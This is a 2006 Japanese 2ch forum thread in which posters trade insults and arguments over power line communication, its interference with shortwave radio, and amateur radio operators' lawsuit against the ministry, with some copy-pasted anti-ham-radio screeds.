.         ,'.  .:::::::{ l'.l/  、_  _,.      'l/',|.';|
       l  :::::::::::';、ヾ      ̄     `‐-‐'/! ';. '
.         ! :::::::::::/ `‐、        ゝ   |'゙ |      ジィジィねたの?
       | ::::::::/   \   ^、_, _.,.,_ ノ::: !   
       |::::/.     _rl`': 、_     ///;ト,゙;:::::./      それとも逝ったの♪
..      `´      /\\  `i;┬:////゙l゙l ヾ/               
                ,.:く::::::::`:、\ 〉l゙:l  / !.|
.            /:.:.:.:\:.:.:.:.`:、ソ/:.:|    | |
           /.:.:.:.:.:.:.:.:.:\:.:.:.:У:.:;l   /./
.          /:.:.:.:.:.:.:.r'´`‐,`、:/.,.:‐{   | !`:、
           ,'.:.:.:.:.:.:.:.:.';_,゚.,ノ.:./,:':.:.:.:',  | |`、:|
           !:.:.:.:.:.:.:.:.:.:.゙、:.::/:.:.:.:.:.:.ヽ, / ,!:.:`、


763 :名無しさんから2ch各局…:2006/12/05(火) 00:39:11
反対派の実験の動画って商売人の実験動画のこと?
イコールなの?

764 :名無しさんから2ch各局…:2006/12/05(火) 00:44:24
本日は閉店いたしますた
糸冬 了..._〆(゚▽゚*)

765 :名無しさんから2ch各局…:2006/12/05(火) 00:51:39
荒らしが凄いな。推進派はよっぽどここでの議論を潰したいらしい。


766 :名無しさんから2ch各局…:2006/12/05(火) 00:54:15
  |         |  |
  |         |  |_____
  |         |  | ̄ ̄ ̄ /|
  |         |  |   / /|
  |        /\ |  /|/|/|
  |      /  / |// / /|
  |   /  / |_|/|/|/|/|
  |  /  /  |文|/ // /    ∧∧
  |/  /.  _.| ̄|/|/|/      /⌒ヽ)  <今日は上がりが少なかったなぁ・・・・
/|\/  / /  |/ /       [ 祭 _]    ∧∧
/|    / /  /ヽ         三____|∪   /⌒ヽ)  <チッ! もっと騒げよな
  |   | ̄|  | |ヽ/l         (/~ ∪    [ 祭 _]
  |   |  |/| |__|/       三三      三___|∪
  |   |/|  |/         三三       (/~∪
  |   |  |/         三三      三三  トボトボ
  |   |/                    三三
  |  /                    三三
  |/                    三三

767 :名無しさんから2ch各局…:2006/12/05(火) 01:02:38
書き込めど
馬鹿は直らず
推進派

768 :名無しさんから2ch各局…:2006/12/05(火) 01:31:08
推進派が「ノイズは問題ない」と言い張るのは当然。
彼らにとっては短波帯の無線がどうなろうと関係ないわけで,彼らにとってはどれだけノイズが出ようが
問題ない。

769 :名無しさんから2ch各局…:2006/12/05(火) 01:34:59
ノッチ入れて誤魔化したPLCか。バケラッタ。

文句言われそうも無いところに「大穴」かと思ったら
例の非常通信はもろかぶりか。
勉強不足だよ。M下さん。

770 :名無しさんから2ch各局…:2006/12/05(火) 02:28:50
ノッチは減衰させるだけでカットするわけではない。微弱であれノイズは発生する。
PLC1つが発生するノイズは微弱でも数千〜数万のPLC機器が使用されるように
なれば積み重なって莫大な量のノイズになる。何故そこに気がつかないのか。

771 :名無しさんから2ch各局…:2006/12/05(火) 02:34:36
PLC殺す

772 :名無しさんから2ch各局…:2006/12/05(火) 04:15:51
最近気がついたのが住宅地において巨大なアンテナを設置しているアマチュア無線局の存在だ。
アマチュア無線とは個人が行う無線通信のことで、調べてみたら意外な事実が浮かびだされてきた。
アマチュア無線には国家資格が必要で資格の範囲で運用が許可されている。 この件について某新聞
社の社会部にお邪魔してその実態を伺った。 日本には約100万局という膨大な数のアマチュア無線
が存在しその最高出力は1000Wだという。 さらに高性能アンテナを使うことによりその数千倍に
までエネルギーを一方向に集中させて放射させるがあるそうだ。 今までもアマチュア無線による市
民に対する影響はあったようで、TVやラジオから音声が聞こえてきたり雑音が混入するものだ。 
これはアマチュア無線が発射する電波がTVやラジオに直接飛び込んでくることで勿論法律に違反
する行為だそうだ。
先ほども述べたが我々の生活時間の2/3が自宅で営まれているのだからこのよう放送局に匹敵する
巨大なエネルギーを放射するようなアマチュア無線が住宅地で行われていることが市民にとって何ら
かの影響を受けると理解して当然だろう。
さて、所管するのは総務省ということであり、当方としてもこのような安全が確立されていない電磁
波それも信じられないような電力を扱う無線局が住宅地に規制無く存在することについて正式に何ら
かの規制をするように求める方針を決めることにした。そして近く科学的、社会的見地からの検討を
始めることとした。住宅地からの電磁波の追放は市民の願いでありきっと行政も何らかの対応をして
くれることだろう。

773 :名無しさんから2ch各局…:2006/12/05(火) 04:31:34
カルト宗教にはまる人ってのは
自分で物事を選択したり決断する能力のない人だよ
すべてにおいて指示&管理してくれる人がいた方が心地いいんだよ
それがどんなに異常な事でもね
新しい事に順応出来ず必死に反対してアマチュア無線マンセーと永遠に
叫び続けるのさ  きもいね

774 :名無しさんから2ch各局…:2006/12/05(火) 04:54:17
アマチュア無線家というのはエゴの塊だ。
たった10mWのPLCが医療機器に影響があるとまるで社会派偽善者ぶりなのに
一方では1kWいや5kWものパワーを出しさらに10dbものゲインのあるアンテナ
を住宅地に上げておいて全く無害だと叫ぶ。
彼らはPLCは電線を伝わって人家に及ぶがアマチュアはアンテナから放射して
いるから害は無いというこじつけた理屈を並べるが、SWRが1.2であったらど
れだけの電力がアンテナ以外の経路から放射されるかの計算もできないようだ。
またTVIなどが起こる事例を見たってどれだけの電波エネルギーが隣家にばら
撒かれているかは想像ができるだろう。
それを否定して必死になってPLCを悪者に仕立てようとしている。
善良なアマチュアいや国民はこのような偏った考え方のアマチュア無線家の考え
を受け入れるわけはないだろう。
99%のアマチュアはPLCというものが極端にアマチュアの運用に支障が及ばないの
であれば社会が求めるものであれば受け入れ用としている。
日本には60万局のアマチュアがいるのだが今PLC反対を声高に叫んでいるのはその
中のせいぜい100局ぐらいだと言われている。ここでもあたかも沢山の局が反対して
いるかのように見せ掛けてはいるが実際は2−3人の仕業だ。それは書き方でもよく
分かる。
伝えられているところでは訴訟を起すらしいがそれも一部偏った思想のグループに
扇動されていると聞いている。結局PLCとアマチュアは環境派と呼ばれる思想ゴロに
利用されているだけではないのか。
既に各方面で実験が行われてアマチュアへの影響は軽微であることが伝えられている
ということを真摯に受け止めるのが正しい姿勢ではないのだろうか。
もし、このまま環境派が騒ぎ出したらきっとアマチュア無線そのものまでが社会から
敵視されることになるかも知れない。



775 :名無しさんから2ch各局…:2006/12/05(火) 05:43:01
電力線通信:電波妨害の恐れ 大学教授ら行政訴訟へ(MSN毎日インタラクティブ)
http://www.mainichi-msn.co.jp/today/news/20061205k0000m040144000c.html

776 :名無しさんから2ch各局…:2006/12/05(火) 06:32:10
◆PLC行政訴訟◆
                   /ヽ       /ヽ  
                  /  ヽ      /  ヽ 
                  /     ヽ__/     ヽ   
   ┏┓  ┏━━┓     /               \   .┏━┓
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               .ヽ_______/ \__/


777 :名無しさんから2ch各局…:2006/12/05(火) 06:33:45
笑えるなあ。 もしもPLCの電波が精密機器への影響が確認されて禁止されたら
オイラは国民として同じようにアマチュア無線の禁止で訴えよう。
もし電線を伝わる信号レベルがPLCより高ければこっちも禁止になるな。
今回の訴訟は日本からアマチュア無線を追い出す第一歩になるということで大い
に意味がある。
ところでJARLは結果として問題がアマチュアに転化されないように総務省側の承
認になるということらしい。
アマチュアを守る為にもPLCは認めなければならない。

この行政訴訟がでたら同時に市街地での電波利用を制限するという目的で訴訟を
起したら面白いぞ、PLC、無線LANそしてアマチュア無線も対称にしてな。

さあ、アマチュア無線を葬りたい人は今がチャンスだ。これで安心してTVが見ら
れる時代がくるぞ。

昔、草野さんは近所からTVIのクレームで訴えられて自宅での無線を諦めたという
ことを聞いたことがある。 これはいい材料になる。 総務省にもその時の飼料は
あるはずだ。


778 :名無しさんから2ch各局…:2006/12/05(火) 06:35:03
>ところでJARLは結果として問題がアマチュアに転化されないよう
>に総務省側の承認になるということらしい

証人ね。

779 :名無しさんから2ch各局…:2006/12/05(火) 06:38:24
精密機器が接続されているコンセントにおいてPLCからの信号とアマチュア
無線の信号レベルを測定してもしアマチュア無線の電波によるものが強かっ
たらどうするんだ。
今回の訴訟でアマチュアが勝ったらそれで訴えられたらアマチュアも禁止だな。
期待していようぜ。


780 :名無しさんから2ch各局…:2006/12/05(火) 06:39:49
総務省はそれを期待しているのかもよ。
だって400Wに制限するっていう噂もあるしこれはある意味チャンスだよね。


781 :名無しさんから2ch各局…:2006/12/05(火) 06:44:25
>>777
朝から寝言言ってるなよ

782 :名無しさんから2ch各局…:2006/12/05(火) 07:04:14
これこそアマチュアを禁止する千載一遇のチャンスだな。よくわかるよ。


783 :名無しさんから2ch各局…:2006/12/05(火) 07:07:37
アマチュア無線禁止訴訟を起すのはKだにゃ。奴は原が困ることなら何でもやると言ってた。
アマチュアがなくなると原が困るからな。
今は熊さんの掲示板で暴れとるが。

>[72] アマチュア無線廃止にご協力を 投稿者:JA1K*O [ ] 投稿日:2006/11/13(Mon) 07:05
> 小学生の頃からアマチュア無線をやってきましたが昨今の姿は
>もはや社会にとって無用な存在と言っても過言ではありません。
>青少年にとっても無意味なこのようなことに貴重な周波数を割り当てておくことは
>国の為にもなりません。
>そこで残された人生をアマチュア無線廃止に向けて投じたいと思います。
>志ある皆さんのご協力を期待します。



784 :名無しさんから2ch各局…:2006/12/05(火) 07:31:39
確かにKはPLCの問題でもおかしかったな。ある意味では原より性質が悪いと思う。
完全に無線界からオミットしてしまえ。
だからと言って殺すことまではすなよ。


785 :名無しさんから2ch各局…:2006/12/05(火) 07:37:13
PLC問題で騒いでいるのって青山教授(環境問題で仕事にメリットがあると
草野さん(月刊59で独占報道)だけでしょ。
あとは実害さえなければいいっていう姿勢なのにおだてられて集団訴訟に
引き込まれたんでしょ。殆どが頭の悪い老人と洗脳され易い若者でしょ。


786 :名無しさんから2ch各局…:2006/12/05(火) 07:38:00
集団訴訟じゃなきゃマスコミも取り上げないからね。


787 :名無しさんから2ch各局…:2006/12/05(火) 07:39:44
>>785
あとは下半身に溜まってる中年独身ね。


788 :名無しさんから2ch各局…:2006/12/05(火) 07:40:46
訴訟団のホームページはいつからスタートするのですか。

789 :名無しさんから2ch各局…:2006/12/05(火) 08:06:02
病院で使わなければ
いいだけのことだろ。

ちがうのか?

790 :名無しさんから2ch各局…:2006/12/05(火) 08:45:46
はい。同じ配電線を共用している、
向こう三軒両隣で医療機器が使われていない、
もしくは使っている人がいなければ、影響はないです。
さて、問題はどうやってそれを知るのでしょうか?

791 :名無しさんから2ch各局…:2006/12/05(火) 08:48:23
>最近環境問題が厳しくなってきたが意外と忘れているのが電波(電磁波)による人体への悪影響だ。
>元々電波というものは目に見えないものだけにそれによる被害があっても分からない場合が多い。
>電波は超音波とX線の間にあるものでそれを使って通信が行われているのは良く知られている。
>社会にとって通信は不可欠なものであることからその利用が優先されてきたが最近になって携帯電
>話が普及してきてそれによる問題がクローズアップされてきたのはご存知だろう。
>電波には微小なものから放送局のような強力なものまでいろいろある。その周波数と扱う電力によ
>って人体や他の電子機器に与える影響には差があるようだ。
>最近話題になっているPower Line Communication(電力線通信)いわゆるPLCと呼ばれるものだが
>、日本で許可されて普及し始めているようだ。
>これについて厚生労働省は人体やペースメーカーなどに悪影響を及ぼす可能性もあると指摘してい
>る。さらに環境問題の面などから大学教授らが運用許可の取り消しを求めて行政訴訟を行っている。
>話によるとPLCというものは他の無線通信に悪影響を与えるほか人体や医療機器に対しても影響を
>及ぼすとのことだ。
>このような問題のある電波が社会にばらまかれたのであれば市民生活が危険に晒されることになる
>というものだ。我々としてもこれが普及して街中で使われることを規制してほしいと思うのは自然
>であると考える。

792 :名無しさんから2ch各局…:2006/12/05(火) 08:49:18
>携帯電話は最も影響のあるのは使用者本人であるから病院や人ごみの場所以外で使うのであればそ
>れは自己責任と言えるがPLCは一般住宅などで使われて電波が拡散されるものだという。
>この問題が伝えられてから電波で検索してみて驚いたものを発見した。日本におけるアマチュア無
>線の活動である。今話題になっている携帯電話で扱う電力は数十ー数百ミリワットであるし、PLC
>に至っては10ミリワットだそうだ。ところがアマチュア無線に許可されている電力はなんと1000ワ
>ットだということらしい。そんなアマチュア無線が日本では何と60万人もいることだ。その多くが
>市街地で電波を出しているという。
>1000Wと言えばPLCの10万倍の電力だ。さらに検索してみたら高性能アンテナを使うことによりその
>エネルギーを100-10000倍にも増力して特定方向に向けて発射しているらしい。単純計算をしても携
>帯電話の1000万倍ものエネルギーを放射していることになる。
>検索してみて驚いた記事を見つけた。アマチュア無線局の周辺では男子が生まれることが非常に少
>ないという事実があるらしい。昔、放送局に勤務している人には女子が生まれるという話は聞いた
>ことがあるが、アマチュア無線とは初耳だ。しかしここまで大きな電力を扱うとなればそれも頷ける。
>ではどうしてPLCが問題になってアマチュア無線が問題にされないのか不思議だったので伝手を頼っ
>て免許している総務省の出先機関に問い合わせてみた。
>答えはこうだ。アマチュア無線の運用においても他の通信、電子機器さらには人体などへの影響が
>起きないように基準を設けてあるという。 電波防護指針という基準でこれに合致しなければ許可
>されないことになっているという。さらに調べてみたら、この防護指針は全ての電波エネルギーが
>アンテナから発射される場合であって一般のアマチュアは未熟な技術力が故にアンテナ以外の経路、
>即ち電線や電話線などを伝って電波が撒き散らされているという。

793 :名無しさんから2ch各局…:2006/12/05(火) 08:51:21
>この不要電波によって近隣住民の使っているテレビや音響機器さらにはコンピュータなどに悪影響
>を及ぼしているという。そのエネルギーはPLCなどとは比較にならない大きさで人体への影響は大
>きいと言われている。
>更にアマチュアが使うトランシーバは出力も携帯電話の10-100倍にもなりこれを近くで使われて心
>臓ペースメーカーが誤動作して大事件になったこともあったというのには驚いた。
>この件も総務省に問い合わせてみたら、全ての無線局はアンテナに効率良く電波を送り込むことが
>法律で定められており、不整合されたアンテナを使って近隣住民に悪影響を与えた場合は処罰の対
>象になるのでそのような事例があれば報告して欲しいとのことだった。
>何れにしろPLCでさえここまで問題にされているのに既に60万人がこのような大電力通信がアマチュ
>ア無線と称して日夜市街地から電波を発射していることを容認することができるのだろうか。環境
>問題さらには生存権の問題として世間にこの事実を公知させるのは我々の務めだと思っている。
>そこでPLC問題で訴訟している訴訟団を探し当てて連絡を取ろうとしてビックリした。
>なんとPLCが環境に悪影響を与えると訴えている訴訟団のメンバーの殆どがアマチュア無線家だとい
>うことだ。いったいこれは何たることか、全く理解できないどころか呆れてしまった。
>今後この訴訟を見守りながら我々もアマチュア無線を環境問題として提訴する方向で活動したいと
>考えている。



794 :名無しさんから2ch各局…:2006/12/05(火) 08:51:45
>>791、792
朝からお疲れ様!yahooにも出たよ。

http://dailynews.yahoo.co.jp/fc/computer/power_line_communication/



795 :名無しさんから2ch各局…:2006/12/05(火) 09:15:56
結構面白い方向に行きますね。
一番喜ぶのは総務省さんだね。


796 :名無しさんから2ch各局…:2006/12/05(火) 09:19:23 ?2BP(0)
主文
本件申し立てを却下する
訴訟費用は原告の負担とする

って、判決になるだろうなぁ

797 :名無しさんから2ch各局…:2006/12/05(火) 09:22:06
儲かるのは弁護士。きっと誰かにはキックバックがあるんだろう。
あの人は転んでもただじゃ起きない。


798 :名無しさんから2ch各局…:2006/12/05(火) 09:24:38
>>794
これでまたアマチュア無線が社会から冷たい目で見られるようになるな orz
ハンコが貰いにくくなるぞ〜


799 :名無しさんから2ch各局…:2006/12/05(火) 09:46:25
>>782
>>783
>>784
笑えるなあ。訴えてるほうが犯人みたいだね。


800 :名無しさんから2ch各局…:2006/12/05(火) 10:05:29
環境版からの転載。
あっちでも話題になってた。


801 :名無しさんから2ch各局…:2006/12/05(火) 10:19:28
>>799
犯人と言うか単なる変人がゴネているだけにしかみられんだろう。
まあ実際においても変人な訳だが。。。

802 :名無しさんから2ch各局…:2006/12/05(火) 10:33:20
社畜のみなさん、今日も朝からはりきってますね!

803 :名無しさんから2ch各局…:2006/12/05(火) 10:37:14
>>802
無色の家畜クンお早う! 今日も癌ガレ!

804 :名無しさんから2ch各局…:2006/12/05(火) 10:43:09
>>803
おもしろいこと言ったつもりになってるだろ、低学歴が。<ぷ

805 :名無しさんから2ch各局…:2006/12/05(火) 10:49:43
>>804
オマエは屁っこき虫か、それともオウムか九官鳥なのか…?

806 :名無しさんから2ch各局…:2006/12/05(火) 10:51:38
>>804
知識があってもそれを咀嚼する知能が無いってのは恐ろしい事ですね。

807 :名無しさんから2ch各局…:2006/12/05(火) 11:00:27
確かに訴訟団が環境問題、医療機器問題にクビを突っ込んだらやぶへびかもな。
ただ、訴訟には社会的立場がありそれを外せないからなあ。
だから訴訟などせんのが良かったのに。これから電波と環境が煩くなるぞ。


808 :名無しさんから2ch各局…:2006/12/05(火) 11:00:55
◆PLC行政訴訟◆
電力線通信:電波妨害の恐れ 大学教授ら行政訴訟へ(MSN毎日インタラクティブ)
http://www.mainichi-msn.co.jp/today/news/20061205k0000m040144000c.html

                   /ヽ       /ヽ  
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809 :名無しさんから2ch各局…:2006/12/05(火) 11:01:36
>>805
会社に飼われてる豚のくせに字は読めるんだな。
>>806
よーく鏡を見て御覧。指示通りに従ってるだけの君が見えるだろ。
自身で考える力がないってのは、実に悲しいことだねえ。

810 :名無しさんから2ch各局…:2006/12/05(火) 11:03:12
厚生労働省に聞いたらPLCだけでなくアマチュア無線、CB、パーソナル無線、無線LANなどにも
同じようなことは申し上げているってさ。
何れにしろ電波は人体に影響があることは認められておりそれを使用する立場の人は十分認識をしてほしいってさ。


811 :名無しさんから2ch各局…:2006/12/05(火) 11:04:55
へえー、CBやパーソナル無線にも申し上げてるのか。
ほとんど居ないのにねえ。

812 :名無しさんから2ch各局…:2006/12/05(火) 11:09:17
>>807
たしかに社畜のみなさんはいよいよ困ったことになりますね。

813 :名無しさんから2ch各局…:2006/12/05(火) 11:16:07
PLCは泥舟だな。他事業部にいけるように、早く転属願出しとけよ。
いよいよ沈む時には、もう他にはいけないぞ。

814 :名無しさんから2ch各局…:2006/12/05(火) 11:20:08
>>796
却下?! 棄却じゃなくて?

815 :名無しさんから2ch各局…:2006/12/05(火) 11:20:32
却下w

816 :名無しさんから2ch各局…:2006/12/05(火) 11:21:29
訴えられるような製品だということが





痛ーーーーーーーーーーーーーーーーーーーーーーーーーい

817 :名無しさんから2ch各局…:2006/12/05(火) 11:24:15
欠陥品しか作れないのか。MADE IN JAPANも落ちたものだな。

818 :名無しさんから2ch各局…:2006/12/05(火) 11:33:30
どこかにアマチュア無線機は殺人兵器というのがあったが


819 :名無しさんから2ch各局…:2006/12/05(火) 11:39:16
なにそれ意味不明

820 :名無しさんから2ch各局…:2006/12/05(火) 11:58:57
なんだかアマチュア攻撃も強烈になってきたなあ。環境版だけでなくネット系
にまでコピペされ始めたぞ。余計なことするなよ。


821 :名無しさんから2ch各局…:2006/12/05(火) 12:03:10
PLCも同じように攻撃すりゃいい

822 :名無しさんから2ch各局…:2006/12/05(火) 12:07:07
一般人のイメージ

PLCよりもはるかにアマ無線のほうが人体や電子機器に障害を与える

実際そうであることのほうが多いんじゃないのか?

まずは自分の襟を但し、筑豊で作られるような違法な数キロワットのアンプなどを使ってる奴はどんどん摘発しろ

TVIだしまくりテレホンIだしまくって、PLCは「こういう恐れがあります」という仮定で反対していても笑われるだけ

823 :名無しさんから2ch各局…:2006/12/05(火) 12:11:43
>>822
キミの頭の中のイメージ,だな

824 :名無しさんから2ch各局…:2006/12/05(火) 12:12:51
>>777
>オイラは国民として同じようにアマチュア無線の禁止で訴えよう
やってみてくれw

825 :名無しさんから2ch各局…:2006/12/05(火) 12:13:09
まあ一般人の理解を得られる趣味ではない>アマチュア無線

826 :名無しさんから2ch各局…:2006/12/05(火) 12:13:39
>>822
>笑われるだけ
そりゃあんただ

827 :名無しさんから2ch各局…:2006/12/05(火) 12:14:24
>>825
キミが理解する必要はない。

頭悪いのだから,無理するな。
知恵熱出すぞ。

828 :名無しさんから2ch各局…:2006/12/05(火) 12:14:26
>>825
そのとおりだが・・何か?
PLCほどじゃないがね

829 :名無しさんから2ch各局…:2006/12/05(火) 12:16:12
>>779
オマエ分かってねえな
無線機ってのは本来目的電波を出す装置なんだよ
PLCモデムってのは電波を出す装置じゃねぇだろ 
オマエはバカか

830 :名無しさんから2ch各局…:2006/12/05(火) 12:18:20
PLC=便利だな

という認識だよ
ニュース系板でPLCスレ読んでみたけど

831 :名無しさんから2ch各局…:2006/12/05(火) 12:20:34
しかしなんですね、これはマジな話

反対の意向を示してる書き込みに対して批判する書き込みは、9時過ぎから激しくなりますね
違うと言われても、メーカーの工作員と疑いたくもなるってもんですわ
疑われたくないなら、無理してでも夜中に書き込んでみてはいかがでしょうかね(笑)

832 :名無しさんから2ch各局…:2006/12/05(火) 12:23:36
>>830
覚せい剤 = すぐに疲れが取れて便利だな

833 :名無しさんから2ch各局…:2006/12/05(火) 12:24:11
>>829
そのとおり!

834 :名無しさんから2ch各局…:2006/12/05(火) 12:26:55
>>831
工作活動は業務の一環です。ハイ!
会社にきて業務命令で2ちゃんねるさせられるとは思いもしなかった。

835 :名無しさんから2ch各局…:2006/12/05(火) 12:28:12
でそんなこと会社の人間がもしいたとして書くと思う?
冷静な目で見れば、いかに反対派と思われる人同士での自作自演が多いのかが分かると思うよ
異常だね

836 :名無しさんから2ch各局…:2006/12/05(火) 12:29:43
>>825
趣味なんてものは、やってる人以外の理解を得られるもんじゃないよ。頭わるいね。

837 :名無しさんから2ch各局…:2006/12/05(火) 12:30:44
>>835
PLCは泥舟だな。他事業部にいけるように、早く転属願出しとけよ。
いよいよ沈む時には、もう他にはいけないぞ。

838 :名無しさんから2ch各局…:2006/12/05(火) 12:37:52
>>835
>そんなこと会社の人間がもしいたとして書くと思う?
書かない理由が見つからない


839 :名無しさんから2ch各局…:2006/12/05(火) 12:43:28
>837
そのとおり。 >>835は今までPLC開発でそれなりの成績を挙げたのだと
思うし、それを手土産に他部署に移動するほうが正解。
これ以上居てもユーザーの嵐のようなクレーム処理がこれからの主な
仕事になると思うよ。

840 :名無しさんから2ch各局…:2006/12/05(火) 13:22:41
ν速から来ました。

よく分からんけどお前ら頑張れ!

841 :名無しさんから2ch各局…:2006/12/05(火) 14:32:59
なんて言ってももう遅いよ。無線界のOMが総務大臣宛にアマ無線による
障害の事例を掲げて禁止を要望してるんだから。
JARL関係者から聴いた話だけど。もしかするとあのK氏かも知れないが俺
もパブコメにでも出たら廃止を支持するよ。


842 :名無しさんから2ch各局…:2006/12/05(火) 14:41:45
>>841
障害を起こしている無線局は排除すればいいし,総務省は当然そうするべき。
障害を起こしていない無線局を排除する必要は,   ない。

843 :名無しさんから2ch各局…:2006/12/05(火) 15:03:13
>>841
もう無線止めたオヤジは無用。相手にすな。


844 :名無しさんから2ch各局…:2006/12/05(火) 15:39:47
>>842
障害に限らずアマチュアは色々な害を巻き散らかしているようだからひとまとめに廃止するのがいいよ
特に今回のPLC問題では公共の福祉の増進を勝手なエゴで妨害しようとしている
百害あって一利無しというのが現在のアマチュア無線だよ


845 :名無しさんから2ch各局…:2006/12/05(火) 15:47:17
plcは無いほうがいいのは当たり前です。
ただplcが社会に貢献する技術であって無線通信に多大な影響
を与えないものであるのなら容認するのも道だと思っています。
反対派の言葉を聞いていると何が何でもだめだと言わんばかり
ですね。アマバンドに妨害が少ないとなったら今度は偽善者に
なって他の通信がって言い出す始末。
この人たちが訴訟をやるのでしたら負けることを期待しますね。
こんなことを書くとまた社畜と言われますね。
見苦しい書き方はおやめなさいよ。


846 :名無しさんから2ch各局…:2006/12/05(火) 15:51:15
池田信夫 blog アマチュア無線って必要なのか
http://blog.goo.ne.jp/ikedanobuo/e/a3648c5745986bf6b6dd835dd635f5f6

847 :名無しさんから2ch各局…:2006/12/05(火) 15:52:36
>>844
お前、池沼だな。

( ゚∀゚)アハハ八八ノヽノヽノヽノ \ / \ /  \
( ゚∀゚)アハハ八八ノヽノヽノヽノ \ / \ /  \
( ゚∀゚)アハハ八八ノヽノヽノヽノ \ / \ /  \

Wへでも行ってアマ無禁止したいって言ってみろ。馬鹿。

848 :名無しさんから2ch各局…:2006/12/05(火) 16:19:48
>>845
>反対派の言葉を聞いていると何が何でもだめだと言わんばかりです
誰一人としてそんなことは言ってないがね
【PLCは余計なものを垂れ流す仕組み】なんだから、その余計なのもの限度に議論があって
当然だろうが

>アマバンドに妨害が少ないとなったら
余計なものなんだから全く無いのが当たり前なんだぞ

平衡ケーブルを敷きなおせばいいって、明確に分かってるんだろうが
それをせずに余計なものを垂れ流すってんだから、相当の社会貢献がなきゃ納得いかんわね

しかし、俺の近所で使ってノイズが出た時は徹底的やるからな
よろしく頼むぜ > 社畜

849 :名無しさんから2ch各局…:2006/12/05(火) 16:22:36
>>845
あなたが誰なのかしりませんが、何を偉そうなこと言ってン?
知ったかしてるようだけど、社会貢献を考えるならPLCなんぞやりませんよ。
裏事情を知ってる人ならこんなことは書けないでしょうね、プロパガンダ以外では。

850 :名無しさんから2ch各局…:2006/12/05(火) 16:29:26
>>846
知ったかぶり男って、どうしてこうも事実を知らないんだろうねぇ。
嘘を書いているという自覚がないだろうねぇ。

851 :名無しさんから2ch各局…:2006/12/05(火) 16:31:02
>>845
PLCが妨害を与えるのはアマチュア無線だけではなく短波帯全体のだから,
問題を意図的に矮小化するのはいかがなものか。

そんな狭い視野でPLCを強引に導入しようとするから叩かれるんだ。

HF帯の無線通信や医療機器などに妨害を与えないPLC技術を開発していれば,
こんなことにはなっていない。

852 :名無しさんから2ch各局…:2006/12/05(火) 16:31:11
>>848
だったら車から出るイグニッションノイズもプラズマtvからのノイズも
止めろと訴訟でもやったらどうだ。
いいかいプラズマtvのノイズに関しては電波法で規制される「電力」で
もなければ「電界強度」でもないと判定されてるんだぞ。だから規制の
対象外だ。少なくとも隣家では7MHzでs9は振ってるはずだが。

853 :名無しさんから2ch各局…:2006/12/05(火) 16:32:28
>>852
イグニッションノイズって24時間連続で出るのか?
継続時間がうんと短いから我慢もできる。

854 :名無しさんから2ch各局…:2006/12/05(火) 16:33:24
>>852
プラズマTVからのノイズは,電界強度ではなく何で規定されているのだ?
電磁波だろ?

855 :名無しさんから2ch各局…:2006/12/05(火) 16:34:19
PLC反対派は完全にビョーキだ。
PLCが医療機器に障害を起すのでダメだったらアマチュアはとっくに
禁止されてる。お前さんはSWRが1:1.2でどれだけアンテナ以外に放射
されるかの計算ができるのか。


856 :名無しさんから2ch各局…:2006/12/05(火) 16:38:12
>>854
わからんオヤジだな。
だからあの程度のノイズでは電波法で規制されないレベルだと言っているんだ。
いわゆる電波法での免許が必要な「電波」ではないんだよ。
もし、それでも通信に妨害を与えるというものなら規制の対象だが、残念ながら
アマチュア無線ではあの程度では通信を著しく妨げるものとは認められない。
疑うんだったら総通に聞いてみたらいい。


857 :名無しさんから2ch各局…:2006/12/05(火) 16:38:45
>>855
病気はオマエさん。

医療機器へは,電力線を伝搬してノイズが直接流入する。放射電磁界の影響もあるだろうが,
無線からは放射だけ。PLCは両方。

858 :名無しさんから2ch各局…:2006/12/05(火) 16:40:18
>>856
具体的数字を出してくれ。
根拠となるソースも希望。

859 :名無しさんから2ch各局…:2006/12/05(火) 16:40:42
>>853
瞬時に出ようが24時間出ようが変りはない。
電波法でそんな規定がどこにあるんだ。問題は妨害と認定するかどうかだ。
じゃあPLCだって24時間でなければ言いと言うんだな。



860 :名無しさんから2ch各局…:2006/12/05(火) 16:43:43
>>857
あんたは4アマか。アンテナに整合が撮れずに(SWRが1:1でない)
場合に多くは近接する伝送経路から放出されるんだぞ。
もしDXやったことあるなら部屋の蛍光灯が点いたことも経験が
ないのか。だからSWRが1:1.2だったらどうなると聞いているんだ。


861 :名無しさんから2ch各局…:2006/12/05(火) 16:44:15
857は無知なだけさ。


862 :名無しさんから2ch各局…:2006/12/05(火) 16:44:41
>>852
オマエ頭狂ってるな
プラズマTVとPLCを同列で考えられるオマエって・・・


863 :名無しさんから2ch各局…:2006/12/05(火) 16:45:35
>>859
いや,変わる。
干渉時間率によって受忍できる出来ないが大きく変わる。

キミは知らないだろうけど。

864 :名無しさんから2ch各局…:2006/12/05(火) 16:46:05
ノイズが出るのはどっちも同じだろ。
じゃあプラズマのノイズは認めるがPLCのはダメという理屈はなんだ。


865 :名無しさんから2ch各局…:2006/12/05(火) 16:47:17
>>863
だから電波法でどう判断するんだよ。
提訴って法律論争だろ。

866 :名無しさんから2ch各局…:2006/12/05(火) 16:48:03
>>860
よく読め。

医療機器へは「電力線」を伝導してPLC信号が流入する。

以上。

ひらがなでかいたほうがわかりやすい?

867 :名無しさんから2ch各局…:2006/12/05(火) 16:48:16
PLC反対派は4アマ程度の知識しかないから無理だと思いますよ。


868 :名無しさんから2ch各局…:2006/12/05(火) 16:49:12
>>855
あんさん、ホンマモンのキチガイでっか?

>PLCが医療機器に障害を起すのでダメだったらアマチュアはとっくに禁止されてる。
PLC機器が無線設備と定義されるならあんなクソみたいなモンが世の中に出るはず
がないだろうが。
アマチュア無線局には電波法の網がかかってるんだよ!
PLCはそうじゃないから問題視されんだよ。
ホント、キチガイかあんた?
それとも全くもの知らんんのか?
どっちよ

869 :名無しさんから2ch各局…:2006/12/05(火) 16:49:53
>>865
干渉時間率という概念を知らないんだね。
妨害を受けるにしても,ほんの一瞬(時間率0.01%以下とか)なら通信に大きな影響は
与えない。時間率100%のPLCは,常に妨害するのだから,とんでもない悪人となる。

870 :名無しさんから2ch各局…:2006/12/05(火) 16:50:48
>>864
おまえ、幼稚すぎ
引っ込んでろ

871 :名無しさんから2ch各局…:2006/12/05(火) 16:52:01
>>855は,単なる,無知。

己が無知であることすら知らない。

872 :名無しさんから2ch各局…:2006/12/05(火) 16:53:10
1〜2人くらい、相当レベル低い奴がいるな
無線局と電子機器をごっちゃにしたり、プラズマTVとPLCをごっちゃにしたり
きちがいだわね

873 :名無しさんから2ch各局…:2006/12/05(火) 16:55:15
>>872
同感

874 :名無しさんから2ch各局…:2006/12/05(火) 16:57:12
【裁判】"コンセントでインターネット"の電力線通信に「待った」 大学教授らアマ無線愛好家114人、近く総務省を提訴へ
http://news19.2ch.net/test/read.cgi/newsplus/1165303572/

